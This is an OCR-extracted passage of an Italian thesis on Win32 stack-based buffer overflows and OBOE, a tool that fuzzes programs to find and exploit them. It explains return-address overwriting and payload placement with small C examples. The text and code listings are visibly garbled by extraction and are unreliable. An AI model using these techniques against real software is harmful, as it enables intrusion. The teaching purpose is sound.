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Introduzione

Il lavoro di tesi consiste nello studio duffer overflowin ambientéWin32e in parti-
colare nella realizzazione di una applicazione in grado di rilevare, in un file eseguibile
(targe®), eventuali vulnerabild che permettono di effettuare questo tipo di attacco.

Il buffer overflow e stata, ed ancora oggi, una delle tecnichalpitilizzate per
compromettere la sicurezza di un sistema; questo attacco sfrutta delle debolezze che
sono presenti nel modello di gestione dell'integydiei dati del linguaggio C. In questo
linguaggio, per garantire la massima efficienza e flessbitibn vengono effettuati
alcuni controlli di integria come, ad esempio, i controlli sui limiti degli array oppure
i controlli sull’aritmetica dei puntatori, questi compiti sono delegati al programmatore
che ha la responsabiitdi effettuarli manualmente. | programmatori spesso omettono
questi controlli percé generalmente assumono che il programma nora\eseguito
in un ambiente ostile.

Il programma che stato sviluppata@BOE) presume di trovare la struttura dell’'in-
put, utilizzato dal target, in file formattati opportunamente, inoltre I'approccio seguito
presume che non si abbia a disposizione il codice sorgente del programma target. Sen-
za poter analizzare approfonditamente il codice sorgente, per riuscire a trovare delle
vulnerabilita, € necessario testare il corretto funzionamento del target usando come da-
ti di input dei valori costruiti appositamente con I'obbiettivo di danneggiare le strutture
dati del programma stesso. | dati di input sono forniti al target attraverso | parametri
passati a linea di comando e le chiavi di registro.
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Lo scopo della tese I'automatizzazione delle fasi che normalmente bisognerebbe
effettuare, con l'aiuto di vari strumenti come debugger e disassemblatori, per trovare
gueste vulnerabilit. In particolare si possono individuare tre fasi principali, nella pri-
ma si crea ripetutamente lo stesso processo target passandogli dei dati pseudocasuali,
l'input fornito potrebbe non rispettare le regole della semantica del target, questa fase
porta un programma vulnerabile ad una terminazione improvvisa causata da un’ec-
cezione. Dopo aver individuato quale parametro di input oppure chiave di registro
porta ad un comportamento anomalo, si passa ad una seconda fase che serve a rica-
vare le informazioni necessarie per modificare il normale flusso del programma. Si
vuole riuscire a far eseguire un pezzo di codice arbitrario al target senza far generare
un’eccezione che causerebbe la terminazione del processo. Lultima ¢asdla che
permette I'esecuzione di codice arbitrario a causa dell’input che viene passato, questo
input viene chiamato “exploit” o “shellcode”. Il suo scopodi far eseguire al tar-
get un interprete dei comandi, normalmente chiamato “shell”. In caso di fallimento
di quest’ultima fas& necessario un lavoro manuale per stabilire se sia presente una
vulnerabilita che potrebbe essere sfruttata.

Con OBOEe quindi possibile analizzare molti programmi con uno sforzo decisa-
mente minore rispetto ad un’analisi manuale, senza doversi preoccupare di molti parti-
colari che risultano critici quando si lavora ad un problema di questo tipo. Il principale
vantaggio di OBOEe che, agendo sui binari, pessere utilizzato per I'enorme quan-
tita di programmi legacy di cui non si haupil codice e per i programmi proprietari
di cui talvolta occorre fidarsi al buio. Anche se in certe situazioni molto complica-
te OBOE non riesce a costruire in automatico I'exploit, fornisce delle informazioni
importanti che possono essere utilizzate per velocizzare un’eventuale fase manuale.
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Buffer Overflow

1.1 Il problema

Con il terminebuffer overflowsi intende indicare I'operazione di scrittura dopo la fine

di un array o buffer. Questo problema si verifica quando si riempie un array con un
numero di elementi superiore alla sua caggadit questa situazione ci sono dei dati in
eccesso che saranno posizionati al di fuori dei limiti dell’array. | buffer overflow sono
quindi errori di programmazione, un semplice esengpilcseguente:

char foo;
char array[4];
for(int i=0; i<=4; i++)

{
}

array[i] = A’ + i

Figura 1.1: Buffer overflow in un ciclo for

in questo esempio I'array pucontenere 4 elementi con indice da 0 a 3, I'esecuzione
del codice provoca un buffer overflow a causa dell’errata condizione di permanenza
del ciclo. Lerrore produce la scrittura della lettera “E” in una locazione di memoria
che non appartiene all’array.
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In alcuni linguaggi di programmazione, per risolvere questo problema, sono stati
inseriti dei controlli che segnalano un errore quando si cerca di scrivere al di fuori
dei limiti. In questi linguaggi, ogni volta che si vuole utilizzare un array, viene prima
verificato che la locazione richiesta faccia parte della struttura dati.

Nella fase di compilazione, non si possono conoscere tutti i valori che un indice
assumex durante I'esecuzione del programma, risulta quindi evidente che i controlli
per l'integrita dei dati devono essere fattran-time Nel linguaggio C, come in altri
linguaggi, per garantire la massima efficienza e flessabilibn vengono effettuati i
controlli per assicurare che la scrittura avvenga nei limiti logici dell'array. Se dopo
I'array c’e€ una zona di memoria riservata per il programma non viene generato nessun
tipo di errore.

1.2 Buffer overflow su stringhe

L'esempio di fig. 1.1 nor® molto interessante, in quel caso il buffer overflow provoca
solamente la scrittura del carattere “E” nella variabile foo. Il motivo per cui questo
carattere finisce nella variabile f@comprensibile leggendo i prossimi paragrafi, si
noti che tale operazione potrebbe anche non influire in alcun modo sul funzionamento
del programma. Se infatti successivamente la variabile foo venisse inizializzata, il
programma sarebbe eseguito correttamente senza riportare nessuna anomalia.

Oltre agli errori legati alle condizioni di permanenza dei cicli, ci sono altri tipi di
errori che possono portare ad un buffer overflow.ul giffusi sono quelli causati dalle
funzioni per la manipolazione di stringhe.

Nel linguaggio C non esiste un tipo particolare per memorizzare questa struttura
dati, ogni array di caratteri guessere considerato una stringa. Durante I'esecuzione di
un programma non si tiene traccia della lunghezza delle stringhe, in ogni array si utiliz-
za il numerazeroper segnalarne la fine. Lo zero presente in un array di caratteri viene
chiamatonull-byteedé un riferimento essenziale per poter lavorare correttamente con
le stringhe. La maggior parte di funzioni che le utilizzano fanno affidamento su questo
carattere per eseguire il loro lavoro, ad esempio:

printf("%s", array);
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in questo caso la funziongrintf ~ stampa a video tutti i caratteri che trova a par-

tire dall’indirizzo di memoria presente nella variabderay fino a quando incontra

un null-byte. Questa funzione non ha nessuna informazione riguardante il numero di

locazioni di memoria che sono state riservate per la stringa. Se nelle locazioni ap-

partenenti alla stringa non fosse presente un null-byte la funzione leggerebbe anche

i caratteri al di fuori dell'array.E compito del programmatore assicurarsi che, nello

spazio di memoria riservato per la stringa, sia sempre presente il null-byte.
Nell’lesempio precedente, puaccadere che vengano stampati a video dei caratte-

ri casuali che rappresentano il contenuto della memoria prima di un null-byte. Tale

comportamento non causa grossi problemi, ci sono gkre funzioni di manipolazio-

ne delle stringhe che fanno le stesse assunzioni della funpiomi& , ma, invece

che leggere dati, li scrivono. Queste funzioni sono quelle maggiormente a rischio di

buffer overflow, la pii conosciute lastrcpy() La funzione prende come argomenti

due stringhe e copia la seconda (sorgente) nella prima (destinazione) mediante I'ese-

cuzione di un ciclo nel quale la condizione di permanediaraggiungimento di un

null-byte. Se il primo arrag piu piccolo del secondo si verifica un buffer overflow.

1.2.1 Categorie di buffer overflow

Si possono classificare i buffer overflow in base alla posizione dei buffer all'interno
della memoria. In Windows secondo il formato binario PE (Portable Executable)[9] si
hanno le seguenti sezioni di memoria:

text: codice eseguibile
data: variabili inizializzate
bss: dati non inizializzati
la loro strutturae creata dal compilatore, inoltre ci sono altre due sezioni di memoria

che sono create dal loader: I'heap e lo stack.
Generalmente si parla gesolo di due tipi di buffer overflow:
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e Stack—based buffer overflow

e Heap-based buffer overflow

guesto peroh negli heap—based si raggruppano insieme heap, bss e data buffer over-
flow. In questo lavoro sono analizzati solo i buffer overflow di tipo stack—based.

1.3 Stack-based buffer overflow

Per capire cosa sia possibile fare a causa di un buffer overflow di questo tipo, bisogna

prima analizzare i vari passi che vengono effettuati da un programma per eseguire una
funzione. Durante la chiamata ad una funzione si utilizza lo stack e ci possono essere

dei buffer statici che sono allocati in questa zona di memEriauindi utile conoscere

I passaggi necessari per eseguire una funzione ed i valori che sono presenti sullo stack.

1.3.1 Chiamare una funzione

Ci sono diversi standard per invocare una funzione, ognuno di loro definisce dove de-
VONO essere posizionati i parametri da passare alla funzione chiamata e se quest’ultima
deve preoccuparsi di liberare lo spazio riservato per questi valori.

| principali standard sono tre. Il pidiffusoe il C declaration syntax Seguendo
le convenzioni di questo standard i parametri sono messi sullo stack in ordine inver-
so, ci@ da destra verso sinistiae il chiamante ha il compito di liberare la memoria
occupata quando la funzione termina. Quest’'ultima operazione viene chibitaata
ciamentadello stack e consiste nel riportaredtack pointeral valore in cui si trovava
prima di effettuare la chiamata alla funzione.
Questo standard conosciuto anche con il nomeatiecl call syntaxe il predefinito
nei compilatori MS Visual C/C++ ed utilizzato in molte altre piattaforme.

Un altro standard usato per effettuare la chiamata ad una funeiémstandard
call syntax come per il cdecl i parametri sono passati in ordine inverso sullo stack. In

1Questo viene fatto per permettere alle funzioni che accettano un numero non predefinito di
parametri, come ad esempio la printf, di aver®imat-stringin una posizione nota sullo stack.
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guesto caso pére compito del chiamato bilanciare lo stack prima di ritornare. Il co-
dice che effettua questa operazi@nguindi unico ec inserito nella funzione. Questo
metodoe il piu utilizzato nelle WN32 API ede conosciuto anche consédcall

Il terzo tipo di standar@ chiamatdast call syntaxed € molto simile allo stdcall.
L'unica differenza tra i due risiede nel passaggio dei primi due parametri, invece
che posizionarli sullo stack sono inseriti in due registri. Tale standastruttato
principalmente dal compilatoielphiede inoltre utilizzato nekerneldi Windows NT

L'obbiettivo della tesie quello di studiare programmi a livello utente scritti in C,
non saa quindi analizzato ulteriormente il fast call syntax, mentre saranno considerati
gli altri due standard.

Per chiamare una funzione, oltre ad eseguire le operazioni descritte negli standard,
bisogna effettuare anche un altro passaggio che permette di saltare al codice della
funzione. Questa operazioresvolta nel linguaggiassemblyallistruzionecall. La
call e un istruzione atomica che esegue due operazioni, la griozella di mettere
nello stack, sotto ai parametri, il valore del regidii® (extended instruction pointer
e la seconda quella di effettuare il salto al codice della funzione. Il valore del registro
EIP salvato nello stack l'indirizzo dellistruzione posizionata dopo la call, questo
valore viene chiamato indirizzo di ritornoreturn address

Quando la funzione finisce il suo lavogonecessario riprendere I'esecuzione del
programma dal punto in cui era stato interrotto. L'ultima istruzione eseguita da una
funzionee laret che ha il compito di prendere dallo stack il return address e metterlo
nel registroEIP . In questo modo il programma riprende I'esecuzione dallistruzione
successiva alla call.

Per avere una rappresentazione visuale dei valori presenti sullo stack durante una
chiamata ad una funzione si consideri la figura 1.2 riferita al seguente esempio che
utilizza lo standard C declaration syntax.

L'istruzione che permette di effettuare la chiamata ad una funzione in C:

char primo, secondo, terzo;
funzione(primo, secondo, terzo);

e tradotta in assembler in questo modo:
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; 1 parametri sono passati in ordine inverso
push terzo
push secondo
push primo

; la call salva il return address sullo stack ed

. effettua il salto al codice della funzione

call addrFunzione
; il chiamante bilancia lo stack

add esp, 12

al posto diaddrFunzionesaia presente l'indirizzo dove stato caricato in memoria il
codice della funzione. Dopo I'esecuzione dell’istruzione call, i valori presenti nello
stack sono quelli rappresentati nella figura riportata di seguito.

OXFFFFFFFF OXFFFFFFFF OXFFFFFFFF
| | | | | |
|
| | | | | |
terzo terzo terzo
secondo secondo secondo
ESP — primo primo primo
ESP — | return address return address
EBP — EBP
variabili
locali
della
ESP — funzione
| | | | l l
| | | | | |
0x00000000 0x00000000 0x00000000
a) Prima della call b) Dopo la call c) Dopo il prologo

Figura 1.2: Valori presenti sullo stack
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In conclusione si introduce un elemento éheaserito dalla maggior parte dei com-
pilatori all'inizio di una funzione. Tale elemen#conosciuto con il nome girologo
ede composto dalle seguenti istruzioni assembler:

push ebp
mov ebp, esp
sub esp, num

lo scopo del prologe quello di allocare lo spazio necessario per contenere le variabili
locali della funzione ed inoltre di creare un punto di riferimento per queste variabili.
La prima istruzione serve per salvare il valore corrente del regigg® nello stack.
Questo registre utilizzato come punto di riferimento per le variabili locali della fun-
zione, nella seconda istruzione viene infatti memorizzat&B® il valore corrente
dello stack pointer. L'ultima istruzione serve a spostare lo stack pointer verso gli in-
dirizzi piu bassi, in questo modo si riserva lo spazio per le variabili locali che sono
accessibili sottraendo uno spiazzamento al regisB®. | valori presenti sullo stack
dopo I'esecuzione del prologo sono riportati in figura 1.2.

1.3.2 Modificare il flusso di esecuzione

Al termine di una funzione il programma normalmente riprende I'esecuzione dal pun-
to in cui era stato interrotto. Questo avviene solamente pdiistruzione ret preleva
dallo stack il return address e lo mette nell’instruction pointer. Il valore del return ad-
dress quindi molto importante perépermette di ritornare esattamente all’'istruzione
successiva rispetto a quella che ha chiamato la funzione.

Dal punto di vista tecnico bisogna ericordare che il posto dove viene memo-
rizzato il valore di ritorno nore altro che una normale cella di memoria. Il C non fa
nessuna differenza sudcchee contenuto in memoria. Questo significa che, se si co-
nosce l'indirizzo del return address, sigponodificare il suo valore come se si trattasse
di una normale variabile. Questa operazion® pssere fatta solo quando il return
address presente nello stack e éi@urante I'esecuzione della funzione. Se quindi,
prima di eseguire la ret, il return address fosse modificato, I'esecuzione del programma
non continuerebbe pidal punto in cui era stato interrotto.
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E quindi possibile alterare il normale flusso logico di un programma; per capire
meglio a cosa pluportare questa situazione si consideri questo esempio tratto da [2]:

void function(int a, int b, int c) {
char buffer[5];

int *ret;
ret = buffer + 12;
(*ret) += 8;

void main() {

int x = 0;
function(1,2,3);
X = 1;
printf("Valore di x: %d", X);
}
Eseguendo questo programma wevisualizzatovalore di x: 0 . Il risultato e

dovuto al fatto che, durante I'esecuzione della funzianstato modificato il return
address, di conseguengatato alterato il normale comportamento del programma.
All'interno della funzione, la prima istruzione fa puntare la variabile ret all'indirizzo di
memoria doved stato salvato il return address. Questo indirizzo si tebgetlo stack

al di sopra dell'array e al di sopra del valoreEBP salvato dal prologo. Per I'array
sono riservati otto byte per consentire di tenere lo stack pointer allineato a multipli
di quattro, il valore dEBP occupa invece quattro byte, sommando il numero dédici
all'indirizzo presente nella variabile buffer si ottiene I'indirizzo del return address.

La seconda istruzione somma al valore corrente del return address il numeéro otto
Questo numero rappresenta la quantit byte occupati, in codice binario[7], dall’i-
struzione che permette di bilanciare lo stack e da quella che assegna ad x il valore 1.
Spostando in avanti il valore del return address lo stack non viene bilanciato e ad x non
viene assegnato il valore 1.

2Questo numero dipende dal tipo di compilatore utilizzato e dalle opzioni impostate.
3Anche questo numero, come il precedegtiggato al compilatore.
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Al ritorno della funzione, quando la ret sposta il valore presente nello stack nel registro
EIP, la continuazione del programma riprende dalla riga successiva all’assegnamento
di 1 alla variabile x.

1.3.3 Eseguire codice arbitrario

| buffer overflow sono stati introdotti all'inizio di questo lavoro come semplici erro-

ri di programmazione, a questo punto viene spiegato genela pratica sono uno

strumento che permette di esporre a rischio la sicurezza di un sistema.
Nell’esempio precedente il codice della funzianstato scritto con I'intenzione di

alterare il flusso di esecuzione del programma. Lo stesso risultategagere ottenuto

in un programma normale in ceé presente uno stack—based buffer overflow, come

mostrato nel seguente pezzo di codice:

void function (char *str){
char buffer[22];
strcpy(buffer, str);

int main(int argc, char *argv[]){
function(argv[1));

}

Se il primo parametro passato come inpyititl lungo di 23 caratteri, i dati in eccesso
vengono scritti sullo stack al di sopra delle locazioni di memoria riservate per I'array.
Se al programma si fornisce una stringa di 31 caratteri vengono sovrascritti il valore
del registroEBP (salvato dal prologo) e il valore del return address come mostrato in
figura 1.3.

“Per problemi di allineamento al buffer saranno riservati 24 byte inoltre nell'ultima posizione viene
copiato il null-byte.
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OXFFFFFFFF OXFFFFFFFF
| | | |
| | | |
| | | |
str str
return address 0x00 |0x48 Dx47 (x46
EBP — EBP EBP — |0x45 |0x44 px43 (x42
locazioni 0x41 |0x41 Px41 (x41
di 0x41 |0x41 Px41 (x41
memoria 0x41 |0x41 Px41 (x41
riservate 0x41 |0x41 Px41 (x41
per 0x41 |0x41 Px41 (x41
ESP — Parray <— bulffer ESP — |0x41 |0x41 px41 Ox41 | <— buffer
| | | |
| | | |
0x00000000 0x00000000
a) Prima della strcpy b) Dopo la strcpy

Figura 1.3: Buffer overflow dovuto alla strcpy

La stringa passata al programma in questo aGasmmposta da 24 “A’ seguite da
“BCDEFGH?”; in questa situazione si pualterare il flusso del programma in base
al contenuto della stringa utilizzata come input.

Lo scopo di questo tipo di attacco nemuello di alterare semplicemente la norma-
le logica dell’applicazione ma quello di eseguire del codice estraneo al programma.
Per riuscire in questa operazione bisogna inserire, in qualche modo, il codice che si
vuole eseguire all'interno dello spazio di indirizzamento del processo. Tale codice
viene chiamatgayloaded e composto da una serie di istruzioni in linguaggio mac-
china. Nel caso in cui al posto del return address ci sia I'indirizzo del payload, Il
programma esegue del codice arbitrario.

Nell’esempio riportato precedentemente, se il payload fogspiptolo di 28 byte,
si potrebbe inserirlo nella stringa di input prima dei quattro byte che che sovrascrivono
il return address, verrebbe d¢gmosizionato sullo stack del processo. In questo caso,
per poterlo eseqguire sufficiente sovrascrivere il return address con l'indirizzo a cui
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fa riferimento la variabile buffer.

Nei casi pratici nore sempre possibile utilizzare questo metodo, per eseguire il
payload pb essere necessario, in alcune situazioni, inserirlo in altre zone di memoria.
Il payload puw essere composto da qualsiasi tipo di istruzione, ma normalmente il suo
scopoé quello di generare un interprete di comandhell in questi casi viene chia-
matoshellcode Nel capitolo 4e spiegato in dettaglio come crearne uno in ambiente
Win32.



Capitolo

Analisi del progetto OBOE

Per cercare di limitare il problema dei buffer overflow sono stati fatti diversi sforzi. Nel
corso degli anni sono state proposte differenti soluzioni che vanno dalla modifica dei
compilatori ad un’ispezione automatica del codice. Quasi tutte le soluzioni proposte
cercano di eliminare il problema partendo dal codice sorgente del programma. Per i
programmi commerciali e quelli dove il codice nerliberamente accessibile queste
soluzioni non possono essere adottate.

Per risolvere tale problema, il CERT-IT, in ambiente unix, ha sviluppato un tool
denominatdOBOE (Object code Buffer Overrun Evaluator)[3]. Lo scopo di OB&E
guello di trovare buffer overflow in programmi eseguibili. In questo lavoro digesi
stata sviluppata una versione di OBOE per I'ambiente Win32. A causa della profon-
da diversia tra le due famiglie di sistemi operativi n@nstato possibile riadattare la
versione esistente, néastato necessario implementarne una completamente nuova.

Oltre ai vari aspetti tecnici che rendono possibile I'attacco di tipo buffer overflow,
¢’ un ulteriore elemento che ne garantisce la riusdidnfatti possibile effettuare
guesto attacco a causa di alcune cattive abitudini di programmazione e ad un’insuffi-
ciente validazione dell'input. | controlli sull'input fornito al programma sono infatti
frequentemente omessi. In questi casi, ad eseregiossibile inserire qualsiasi byte
in stringhe di input che dovrebbero contenere solo caratteri dell’alfabeto o quanto me-
no “stampabili”. Inoltre nei programmi si utilizzano spesso delle funzioni considerate
insicure come latrcpy() . Tale funzione pa causare un buffer overflow e al suo

14
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posto dovrebbe essere utilizzatastencpy() . Quest’ultima cerca di limitare il pro-
blema dei buffer overflow introducendo un ulteriore parametro che indica il numero
massimo di caratteri da copiare se non viene trovato un null-byte.

2.1 Tipidiinput

Tutti i dati di input che sono gestiti in maniera scorretta possono causare un buffer
overflow.

Nella versione di OBOE sviluppata dal CERT-IT si cercavano buffer overflow nei
programmi che ricevono dell’input dai parametri passati a linea di comando. In am-
biente Windows oltre ad analizzare questo tipo di inpét sbnsiderato anche un altro
elemento: il registro di sistema cBespesso utilizzato per ricavare dei dati.

Un elemento importante da considerare nella ricerca di buffer overflow riguarda i
valori da cuie composto I'input. Non si possono sapere quali controlli vengono effet-
tuati dal target. Per la versione di Windows di OBOE sono state utilizzate due naodalit
diverse per costruire I'input da passare ai programmi. La prima consiste nel comporre
le stringhe di input con una serie di caratteri identici e fissi mentre nella seconda le
stringhe sono formate da caratteri pseudocasuali. Ogni carattere pseudocasuale viene
scelto dall'insieme delle lettere dell’alfabeto. L'obbiettivo delle stringhe pseudocasuali
e quello di coprire diversi flussi di esecuzione del programma che si possono verificare
a causa dei test effettuati sull'input.

OBOE assume di trovare la struttura dell'input utilizzato dal programma target in
file di testo. Per i parametri passati a linea di comando in ogni riga del file deve essere
presente un parametro chejpessere utilizzato nel programma da testare. Per le chiavi
di registro invece ogni riga deve contenere una chiave che viene letta dal target durante
la fase di inizializzazione.

2.1.1 Parametri a linea di comando

Per effettuare il testing sui parametri a linea di comando OBOE considera una riga del
file alla volta. Oltre al contenuto dell'input un aspetto importante da considerare
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lunghezza massima che quest@mssumere. Infatk ipotizzabile che i dati forniti
siano scritti sullo stack del processo ed una dimensione ridotta potrebbe non sovra-
scrivere il return address. Per evitare questo inconveniente, si utilizza inizialmente il
valore massimo che il parametrogpassumere. Questo valore sigpricavare dal-

la documentazione fornita per le API di Windows[1]. In particolare da quella per la
CreateProcessche permette la creazione di un nuovo processo, la cui strigtlaa
seguente:

BOOL CreateProcess(
LPCTSTR IpApplicationName,
LPTSTR IpCommandLine,
LPSECURITY_ATTRIBUTES IpProcessAttributes,
LPSECURITY_ATTRIBUTES IpThreadAttributes,
BOOL binheritHandles,
DWORD dwCreationFlags,
LPVOID IpEnvironment,
LPCTSTR IpCurrentDirectory,
LPSTARTUPINFO IpStartupinfo,
LPPROCESS INFORMATION IpProcessinformation

Figura 2.1: API CreateProcess

i primi due parametri richiesti sono delle stringhe, il loro valore serve per specifica-
re il file che si vuole eseguire. Se nel primo viene specificato il path dove si trova
il programma, nel second® sufficiente inserire il nome e i parametri che si voglio-
no passare. La grandezza massima dell'irppguindi dipendente dalla dimensione
che pw assumere il secondo parametro. Siriportano di seguito i valori presenti nella
documentazione:

I[pCommandLine:

Pointer to a null-terminated string that specifies the command line to exe-
cute. The maximum length of this string is 32K characters.

Windows 2000: The maximum length of this string is MADATH cha-
racters.
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gueste righe permettono quindi di fissare un valore massimo per la stringa che viene
passata al target. Ai valori limite bisogna sottrarre la lunghezza del nome del file e la
lunghezza del nome del parametro.

2.1.2 Chiavi di registro

L'altro tipo di input che OBOE cerca di sfruttagequello proveniente dalle chiavi di
registro. Questo input viene utilizzato maggiormente dai programmi visuali. Durante
I'esecuzione, il registro viene usato diverse volte per leggere e memorizzare dei dati,
Spesso queste operazioni sono conseguenza di eventi generati dall'utente. Tra tutte le
chiavi che un programma utilizza, OBOE cerca buffer overflow solo su quelle lette su-
bito dopo la creazione del processo. Tale lingitdovuto all'impossibilia di riprodurre
tutti gli eventi generati da un utente su un programma generico.

Anche per le chiavi di registro, come per i parametri a linea di comandeces-
sario considerare la grandezza massima che possono assumere. | limiti sono presenti
nella documentazione delle API e sono riportati di seguito:

Registry Element Size Limits:

Available memory (latest format)

1MB (standard format)

Windows Me/98/95: 16,300 bytes.

Windows 95: There is a 64K limit for the total size of all values of a key.

nella documentazione presente anche questa nota:

Long values (more than 2,048 bytes) should be stored as files with the file
names stored in the registry. This helps the registry perform efficiently.

in questo caso non&’un limite preciso sulla grandezza dei dati. Anche se si consiglia
di non usare valori maggiori di 2KB, OBOE, per effettuare le prove, utilizza come
valore di default 32KB.

Sull'input proveniente dalle chiavi di registro bisogna fare un’ulteriore osservazio-
ne: trovare buffer overfloe molto pi difficile rispetto al caso in cui I'input arrivi dai
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parametri passati a linea di comando. Per capire quale sia il problema bisogna analiz-
zare I'API necessaria per leggere una stringa dal registro. LoARRegQueryValueEx
e la sua struttura la seguente:

LONG RegQueryValueEx(
HKEY hKey,
LPCTSTR IpValueName,
LPDWORD IpReserved,
LPDWORD IpType,
LPBYTE IpData,
LPDWORD IpcbData

);

per leggere una stringa, nel sesto parametro bisogna specificare la grandezza del buffer
dove la stringa deve essere copiata. S pergrandezza della stringa presente nel
registroe maggiore di quella specificata in questo parametro, I'’API si comporta nel
seguente modo:

If the buffer specified by IpData parameter is not large enough to hold the
data, the function returns ERRORORE_DATA and stores the required
buffer size in the variable pointed to by IpcbData. In this case, the contents
of the IpData buffer are undefined.

guesta situazione si verifica nella maggior parte dei casi se OBOE, prima di eseguire
il programma, al posto della stringa inserisce un valore grande 32KB.

Se nel programma target vengono fatti i controlli sui valori restituiti dalle API,
molto probabilmente viene generato un errore con la conseguente terminazione del
processo. Purtroppo anche nel caso in cui questi controlli non siano presenti, il valore
contenuto nel registro non viene copiato nella stringa di destinazione.

Se quindi la stringa presente nel registro supera la dimensione del sesto parametro,
non viene mai copiata nello spazio di indirizzamento del processo. Per questo énotivo
molto pit complicato trovare buffer overflow utilizzando le stringhe di registro rispetto
ai parametri passati a linea di comando. Le due situazioni si assomigliano soltanto
in un caso, cieé se prima di copiare la stringa viene allocato abbastanza spazio per
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contenerla. E infatti possibile utilizzare la stessa API per conoscere la dimensione
della stringa memorizzata nel registro.

Il target dovrebbe quindi richiedere la lunghezza della stringa e allocare dinami-
camente uno spazio sufficientemente grande per poterla contenere. In questo caso la
stringa verrebbe copiata da qualche parte nello heap del processo.

Non e possibile sapere in anticipo coraescritto il programma target, per questo
motivo, in OBOE, oltre ad utilizzare la dimensione di 32KB, viene data la posaibilit
di specificare un valore per impostare la dimensione massima della stringa.

Nei parametri passati a linea di comando questo problema non si vezifidatti il
sistema operativo che si occupa di allocare lo spazio necessario per i parametri prima di
creare il processo, questi saranno quindi sempre presenti nello spazio di indirizzamento
del processo.
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L'obbiettivo di OBOEe quello di automatizzare le fasi svolte manualmente per trovare
un buffer overflow.

In particolare si cercano buffer overflow in programmi per i quali aatisponibile
il codice sorgente ed inoltre si considerano solo le due fonti di input descritte nel ca-
pitolo precedente. Sotto queste condizioni, per riuscire a trovare un buffer overflow,
necessario svolgere un’attiaiti testing sul programma target. L'operazione richiede
due fasi, nella prima viene creato I'input che deve essere passato al target, se si utiliz-
za il registroe necessario inserirlo nella chiave opportuna. La seconda fase consiste
nell’analizzare in dettaglio il comportamento del processo target in funzione dell'input
fornito. Se fosse presente un buffer overflow, in generale, ci si aspetterebbe che il pro-
gramma termini generando un’eccezione. Se invece l'input venisse riconosciuto come
incorretto il programma probabilmente terminerebbe segnalando il problema.

L'analisi del comportamento del programma viene di norma svolta manualmente
utilizzando un debugger, grazie a questo strumento si possono infatti analizzare tutti gli
eventi che avvengono in un processo target. OBOE deve essere in grado di ottenere le
stesse informazioni, in pratica p@essere considerato un particolare tipo di debugger.

20
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3.1 Ambiente Win32

Prima di analizzare in dettaglio la realizzazione della parte di debugging in OBOE ed i
possibili modi in cui si po comportare un processo debuggatogcessario introdur-

re alcune nozioni riguardanti il sistema operativo che viene utilizzato. In particolare
bisogna conoscere in che moda@estita la memoria e che strumenti sono forniti per
poter realizzare un debugger.

3.1.1 Organizzazione della memoria

In Windows, come in molti altri sistemi operativi, viene utilizzata la memoria virtuale

e ogni processo utente ha il proprio spazio di indirizzi virtuali. La lunghezza degli

indirizzi € di 32 bit, ogni processo pwquindi indirizzare 4GB di memoria. Nella con-

figurazione maggiormente diffusa i 2GBidbassi, meno 256MB, sono a disposizione

per il codice e i dati del processo, mentre i 2GB superiori sono riservati per il kernel.
In alcuni casi questa configurazionegsultare insufficiente, ad esempio il limite

di 2GB e troppo restrittivo sui server che gestiscono grosse basi di dati . Per questo

motivo in Windows Advanced Server e Windows Datacespt@ossible ottenere uno

spazio utente di 3GB. | dati fondamentali riguardanti i range degli indirizzi di memoria

sono riportati in tabella 3.1, per ulteriori approfondimenti si veda [10, 12].

Partition 32-Bit Windows | 32-Bit Windows | Windows 98
2000 2000 (x86 w/3
(x86 and Alpha) | GB User-Mode)
Kernel-Mode OXFFFFFFFF OxXFFFFFFFF OxFFFFFFFF
0x80000000 0xC0000000 0x80000000
User-Mode OX7FFEFFFF OxBFFEFFFF OX7FFFFFFF
0x00010000 0x00010000 0x00400000

Tabella 3.1: Indirizzi virtuali della memoria

Per la gestione della memoria virtuale viene utilizzata la paginaziorefuito lo
spazio di indirizzamento virtuakediviso in uni& chiamate pagine. Le pagine vengono
caricate in memoria solo quando sono necessarie per I'esecuzione del programma.
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Teoricamente le dimensioni delle pagine possono essere una qualsiasi potenza di 2
fino a 64KB, ma sul Pentium queste dimensioni sono fissate a 4KB. Sull'ltanium,
possono essere 8 0 16 KB; inupil sistema operativo stesso@usare pagine a 4MB

per ridurre lo spazio consumato dalla tabella delle pagine [13].

Tutte le zone di memoria come lo stack e I'heap sono quindi formate da una o
piu pagine. Bisogna ricordare che ogni thread ha un proprio stack privato; la posizione
dello stack di un thread all’interno dei 2GB di memagiatabilita dal sistema operativo
e cambia tra le diverse versioni di Windows.

Tutte queste informazioni sono da tenere in considerazione quando si cercano dei
buffer overflow stack—baseé infatti importante sapere dove si trovano i vari stack dei
thread e in che modeé organizzata la gestione della memoria. In questo lavoro sono
state fatte delle considerazioni importanti che derivano dall’utilizzo della paginazione.

3.1.2 Debugging

In Windows e presente una struttura sofisticata che permette la realizzazione di de-
bugger avanzati. Sono presenti delle API attraverso le g@uadissibile realizzare un
debugger guidato dagli eventiewent—driven

Realizzando un debugger di questo tgppossibile ricevere una segnalazione ogni
volta che nel processo debuggato, chiantkiouggegesi verifica un evento importante.
Vengono quindi segnalate al debugger informazioni come la creazione di un thread
oppure la generazione di un’eccezione.

Oltre ad essere informato sugli eventi significativi, il debugger ha anche il pieno
controllo sulla maggior parte delle informazioni riguardanti il processo debugBato.
possibile, ad esempio, conoscere il numero dei thread presenti, leggere il valore dei
registri salvati neprocess control block utilizzare sia in lettura che in scrittura i 2GB
di memoria virtuale del processo. Per poter svolgere tutte queste operazioni, l'utente
che utilizza il debugger deve possedere i permesBEBUGGING Questi permessi
sono impostati dall’'amministratore del sistema e dovrebbero essere concessi solo a
specifici utenti.
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3.2 Debugging in OBOE

Per capire in che modo si picomportare un programma target genegatecessario
illustrare le API utilizzate da OBOE per realizzare la parte di debugging.

Per creare un debugger event—driven in Windows sono presenti due alterpative:
possibile monitorare un process@gn esecuzione oppure Si(@reare un processo
specificando che doaressere debuggato. In OBOE viene utilizzata questa seconda
modali&: dopo aver preparato l'input, si crea il target con I'ABeateProcess
presentata in figura 2.1.

Per indicare I'intenzione di debuggare il processo cha segatce sufficiente uti-
lizzare il flag DEBUGPROCESS nel sesto parametro. Specificando questo flag la fa-
se di inizializzazione del processo non viene completata, in questo modo viene data la
possibilt al debugger di stabilire quando il processo pifettivamente essere esegui-
to. Per completare la fase di creazione, il thread che ha chiam@tedteProcess
deve utilizzare 'APIWaitForDebugEvent . Questa APE bloccante, il debugger
viene sospeso fino a quando non si verifica un evento significativo nel debuggee. Quan-
do il debugger riprende I'esecuzione, nella struttura DEBBBENT ritornata dalla
WaitForDebugEvent , sono presenti tutte le informazioni sull’evento che seri-
ficato nel debuggee. Il debuggergquindi svolgere delle operazioni in risposta a que-
